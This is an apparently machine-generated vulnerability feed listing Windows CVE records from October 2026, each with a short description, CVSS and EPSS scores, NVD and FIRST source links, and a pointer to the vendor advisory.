Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87700
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87700).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87700&date=2026-10-25).
Sources:
NVD CVE-2026-87700: https://nvd.nist.gov/vuln/detail/CVE-2026-87700
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87700&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Winlogon allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87699
Heap-based buffer overflow in Winlogon allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Winlogon allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87699).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87699&date=2026-10-25).
Sources:
NVD CVE-2026-87699: https://nvd.nist.gov/vuln/detail/CVE-2026-87699
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87699&date=2026-10-25
Heap-based buffer overflow in Winlogon allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87694
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87694).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87694&date=2026-10-25).
Sources:
NVD CVE-2026-87694: https://nvd.nist.gov/vuln/detail/CVE-2026-87694
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87694&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-87693
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87693).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87693&date=2026-10-25).
Sources:
NVD CVE-2026-87693: https://nvd.nist.gov/vuln/detail/CVE-2026-87693
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87693&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85945
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85945).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85945&date=2026-10-25).
Sources:
NVD CVE-2026-85945: https://nvd.nist.gov/vuln/detail/CVE-2026-85945
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85945&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Reliable Multicast Transport Driver (RMCAST) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85943
Time-of-check time-of-use (toctou) race condition in Reliable Multicast Transport Driver (RMCAST) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Reliable Multicast Transport Driver (RMCAST) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85943).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85943&date=2026-10-25).
Sources:
NVD CVE-2026-85943: https://nvd.nist.gov/vuln/detail/CVE-2026-85943
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85943&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Reliable Multicast Transport Driver (RMCAST) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85941
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85941).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85941&date=2026-10-25).
Sources:
NVD CVE-2026-85941: https://nvd.nist.gov/vuln/detail/CVE-2026-85941
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85941&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85934
Use after free in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85934).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85934&date=2026-10-25).
Sources:
NVD CVE-2026-85934: https://nvd.nist.gov/vuln/detail/CVE-2026-85934
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85934&date=2026-10-25
Use after free in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85933
Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85933).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85933&date=2026-10-25).
Sources:
NVD CVE-2026-85933: https://nvd.nist.gov/vuln/detail/CVE-2026-85933
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85933&date=2026-10-25
Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85931
Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85931).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85931&date=2026-10-25).
Sources:
NVD CVE-2026-85931: https://nvd.nist.gov/vuln/detail/CVE-2026-85931
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85931&date=2026-10-25
Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85930
Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85930).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85930&date=2026-10-25).
Sources:
NVD CVE-2026-85930: https://nvd.nist.gov/vuln/detail/CVE-2026-85930
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85930&date=2026-10-25
Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85928
Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85928).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85928&date=2026-10-25).
Sources:
NVD CVE-2026-85928: https://nvd.nist.gov/vuln/detail/CVE-2026-85928
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85928&date=2026-10-25
Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85927
Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85927).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85927&date=2026-10-25).
Sources:
NVD CVE-2026-85927: https://nvd.nist.gov/vuln/detail/CVE-2026-85927
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85927&date=2026-10-25
Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard User Service allows an authorized attacker to elevate privileges...
https://kevwire.com/record/CVE-2026-85912
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard User Service allows an authorized attacker to elevate privileges... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85912).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85912&date=2026-10-25).
Sources:
NVD CVE-2026-85912: https://nvd.nist.gov/vuln/detail/CVE-2026-85912
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85912&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows StateRepository API allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85911
Use after free in Windows StateRepository API allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows StateRepository API allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85911).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85911&date=2026-10-25).
Sources:
NVD CVE-2026-85911: https://nvd.nist.gov/vuln/detail/CVE-2026-85911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85911&date=2026-10-25
Use after free in Windows StateRepository API allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85908
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85908).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85908&date=2026-10-25).
Sources:
NVD CVE-2026-85908: https://nvd.nist.gov/vuln/detail/CVE-2026-85908
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85908&date=2026-10-25
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85906
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85906).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85906&date=2026-10-25).
Sources:
NVD CVE-2026-85906: https://nvd.nist.gov/vuln/detail/CVE-2026-85906
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85906&date=2026-10-25
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows UI Immersive Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85905
Heap-based buffer overflow in Windows UI Immersive Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows UI Immersive Server allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85905).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85905&date=2026-10-25).
Sources:
NVD CVE-2026-85905: https://nvd.nist.gov/vuln/detail/CVE-2026-85905
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85905&date=2026-10-25
Heap-based buffer overflow in Windows UI Immersive Server allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85903
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85903).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85903&date=2026-10-25).
Sources:
NVD CVE-2026-85903: https://nvd.nist.gov/vuln/detail/CVE-2026-85903
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85903
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85903&date=2026-10-25
Untrusted pointer dereference in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-85874
Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to execute code locally. (Oct 13, 2026).
Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85874).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85874&date=2026-10-25).
Sources:
NVD CVE-2026-85874: https://nvd.nist.gov/vuln/detail/CVE-2026-85874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85874&date=2026-10-25
Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85872
Use after free in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85872).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85872&date=2026-10-25).
Sources:
NVD CVE-2026-85872: https://nvd.nist.gov/vuln/detail/CVE-2026-85872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85872&date=2026-10-25
Use after free in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85871
Heap-based buffer overflow in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85871).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85871&date=2026-10-25).
Sources:
NVD CVE-2026-85871: https://nvd.nist.gov/vuln/detail/CVE-2026-85871
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85871&date=2026-10-25
Heap-based buffer overflow in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85870
Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85870).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85870&date=2026-10-25).
Sources:
NVD CVE-2026-85870: https://nvd.nist.gov/vuln/detail/CVE-2026-85870
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85870&date=2026-10-25
Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85869
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85869).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85869&date=2026-10-25).
Sources:
NVD CVE-2026-85869: https://nvd.nist.gov/vuln/detail/CVE-2026-85869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85869&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
